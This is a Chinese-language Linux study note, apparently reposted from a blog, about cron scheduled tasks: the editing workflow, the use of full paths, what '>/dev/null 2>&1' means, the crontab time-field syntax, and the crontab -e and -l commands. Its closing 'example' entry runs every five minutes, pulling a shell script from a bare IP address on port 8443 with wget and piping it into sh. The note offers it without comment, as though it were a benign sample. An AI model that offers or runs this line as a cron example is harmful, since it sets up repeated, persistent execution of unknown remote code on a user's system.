码迷,mamicode.com
首页 > 系统相关 > 详细

Linux运维学习笔记-定时任务知识总结

时间:2018-03-18 15:03:05      阅读:221      评论:0      收藏:0      [点我收藏+]

标签:信息   分享   范围   路径   查看   记忆   含义   cin   效率   

定时任务编辑规范流程:

 技术分享图片

 

重要知识点:

切记用全路径编写定时脚本、定时任务

大部分在 crontab 计划任务中都会年到未尾带 >/dev/null 2>&1,是什么意思呢?

> 是重定向
/dev/null 代表空设备文件
1 表示stdout标准输出,系统默认值是1,所以 ">/dev/null" 等同于 "1>/dev/null"
2 表示stderr标准错误
& 表示等同于的意思,2>&1,表示2的输出重定向等同于1

 

整句的意思就是标准输出重定向到空设备文件,也就是不输出任何信息到终端,标准错误输出重定向等同于标准输出,因为之前标准输出已经重定向到了空设备文件,所以标准错误输出也重定向到空设备文件

 

&>/dev/null  即不管输出是什么都从定向到/dev/null

command > file 2>file command > file 2>&1 有什么区别呢?

command > file 2>file 的意思是将命令所产生的标准输出信息,和错误的输出信息送到file 中.command > file 2>file 这样的写法,stdout和stderr都直接送到file中, file会被打开两次,这样stdout和stderr会互相覆盖,这样写相当使用了FD1和FD2两个同时去抢占file 的管道。而command >file 2>&1 这条命令就将stdout直接送向file, stderr 继承了FD1管道后,再被送往file,此时,file 只被打开了一次,也只使用了一个管道FD1,它包括了stdout和stderr的内容。从IO效率上,前一条命令的效率要比后面一条的命令效率要低,所以在编写shell脚本的时候,较多的时候我们会用command > file 2>&1 这样的写法。

 

 

定时任务语法:

01   *    *      *      *      cmd

分    时    日    月    周    任务

crontab语法格式中时间段的含义如下表

含义

取值范围(整数)

第一段

代表分钟

00 – 59 (00也可以是0)

第二段

代表小时

00 – 23

第三段

代表日,天

01 – 31

第四段

代表月份

01 – 12

第五段

代表星期,周几

0 -7(0和7都代表星期日)

提示:时间记忆口诀(分时日月周)。取值范围记录(正常日期时间范围)

 

定时任务编辑位置:/etc/crontab

编辑定时任务:crontab -e

查看当前用户定时任务:crontab -l

 

定时任务例子:

*/5 * * * * wget -q -O- http://218.248.40.228:8443/i.sh | sh

 

Linux运维学习笔记-定时任务知识总结

标签:信息   分享   范围   路径   查看   记忆   含义   cin   效率   

原文地址:https://www.cnblogs.com/tcheng/p/8595313.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!